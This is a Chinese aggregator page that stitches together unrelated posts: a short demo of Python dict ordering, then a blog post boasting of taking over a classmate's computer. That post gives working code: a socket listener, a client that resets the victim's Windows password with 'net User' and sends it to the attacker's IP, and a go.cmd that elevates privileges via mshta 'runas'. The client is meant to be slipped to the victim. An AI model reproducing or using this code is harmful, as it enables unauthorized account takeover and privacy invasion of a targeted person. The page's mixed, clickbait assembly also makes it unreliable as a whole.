发现一个秘密:既python3.6之后字典竟然变成了有序集合,我再次验证了一下!

Posted Python 集中营

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了发现一个秘密:既python3.6之后字典竟然变成了有序集合,我再次验证了一下!相关的知识,希望对你有一定的参考价值。

高版本我一直使用的是3.8的版本,我先用python3.8的版本来测试查看是不是会产生有序的字......

【阅读全文】

test_dict = {\'o\': 1,\'p\': 2,\'q\': 3,\'r\': 4,\'s\': 5,\'t\': 6}

使用ksys()函数验证字典的键是否有序

print(test_dict.keys())

# dict_keys([\'o\', \'p\', \'q\', \'r\', \'s\', \'t\'])
# Process finished with exit code 0

遍历字典再次验证

for key,value in test_dict.items():
    print(key,value)

# dict_keys([\'o\', \'p\', \'q\', \'r\', \'s\', \'t\'])
# o 1
# p 2
# q 3
# r 4
# s 5
# t 6

发现python3.8版本的字典集合真的变成有序字典了。最后,找个3.6以下的版本再来验证一番,使用同样的数据来进行验证

# Python 2.7.18 (v2.7.18:8d21aa21f2, Apr 20 2020, 13:25:05) [MSC v.1500 64 bit (AMD64)] on win32
# Type "help", "copyright", "credits" or "license" for more information.
# >>> test_dict = {\'o\': 1,\'p\': 2,\'q\': 3,\'r\': 4,\'s\': 5,\'t\': 6}
# >>> print(test_dict.keys())
# [\'o\', \'q\', \'p\', \'s\', \'r\', \'t\']
# >>>

首先keys()函数遍历的键就是无序的

# >>> for key,value in test_dict.items():
# ...     print(key,value)
# ...
# (\'o\', 1)
# (\'q\', 3)
# (\'p\', 2)
# (\'s\', 5)
# (\'r\', 4)
# (\'t\', 6)

最后,遍历的键值都是无序的。今天就到这里了,小编才加完班该回家了!

【往期精彩】

这么多的内置函数能记住吗?对python的68个内置函数分类总结!

必须要会的文件操作对象File,python文件读写操作利器!

你不知道的CS模式的进程管理工具,状态监测、项目启停一目了然!

如何将一个python应用以docker镜像的方式来运行?

python超赞插件you-get,执行一行命令即可下载、命令行下载工具推荐!

欢迎关注作者公众号【Python 集中营】,专注于后端编程,每天更新技术干货,不定时分享各类资料!

我用Python修改了班花的开机密码,重新登录后竟然发现了她的秘密!

前言

在这里插入图片描述
班花加我说她电话坏了让我看看,那肯定义不容辞!【兴奋了半个小时】没别的我就想秀一下技术!五分钟后我修好了,电脑重启之后显示输入密码,当时没多想直接走了。回去之后我能不能用技术远程解析一下这个开机密码呢,说干就干。

在这里插入图片描述

工具准备

在这里插入图片描述

开发环境:win10、python3.7
开发工具:pycharm

项目思路解析

一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有女朋)
在这里插入图片描述

该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)

首先正常流程创建服务端的服务
服务端流程:

  • 创建套接字
    -绑定ip和端口
    -设置监听
    -等待链接
    -接受数据打印数据
    -关闭链接
import socket  # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444))  # 绑定IP/端口
server.listen(5)  # 监听
print('***********等待连接*********')
conn, addr = server.accept()  # 连接
print(conn) 
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()

windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)
在这里插入图片描述

客户端流程:

  • 创建套接字
    -连接服务端的IP和端口
    -获取当前使用的电脑账户名
    -生成随机的电脑密码
    -在终端执行修改Windows密码的指令
    -发送修改之后的密码
    -关闭套接字
import socket  # 导入用到的模块
import getpass
import subprocess
import random

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口))  # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser()  # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
    m = str(random.randrange(0, 10))
    psd = psd + m

subprocess.Popen(['net', 'User', user, psd])  # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8'))  # 将密码发送给server端
back_msg = client.recv(1024)
client.close()  # 关闭socket

到这一步基本就可以自己去尝试了,但是要注意,当前代码只能修改权限是admin的账户。
在这里插入图片描述

    还在翻呢!!!!!!!!
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    下面会有怎么修改非admin的内容嘛??????
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *
    *

在这里插入图片描述

非admin用户需要提高自己的执行权限
直接使用超级管理员权限执行cmd文件
go.cmd

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"

start python client.py

小结

最后我修改密码成功登陆,竟然发现了她的密码!

在这里插入图片描述
这铁憨憨C盘满了都不知道清理,一看就是不太懂电脑的亚子!班花那么好看竟然不太懂电脑,真是惊人的发现哩!

在这里插入图片描述

PS:最后我啥都没动改回去了! 仅供学习技术交流!切勿违法违纪!本人不承担一切后果!

以上是关于发现一个秘密:既python3.6之后字典竟然变成了有序集合,我再次验证了一下!的主要内容,如果未能解决你的问题,请参考以下文章

我用Python修改了班花的开机密码,重新登录后竟然发现了她的秘密!

我用Python修改了班花的开机密码,重新登录后竟然发现了她的秘密!

用文本挖掘分析了5万首《全唐诗》,竟然发现这些秘密

我用Python采集了班花的空间数据集,除了美照竟然再一次发现了她另外的秘密!

我用Python采集了班花的空间数据集,除了美照竟然再一次发现了她另外的秘密!

一女孩每天都吃洋葱,一个月之后竟然变成这样!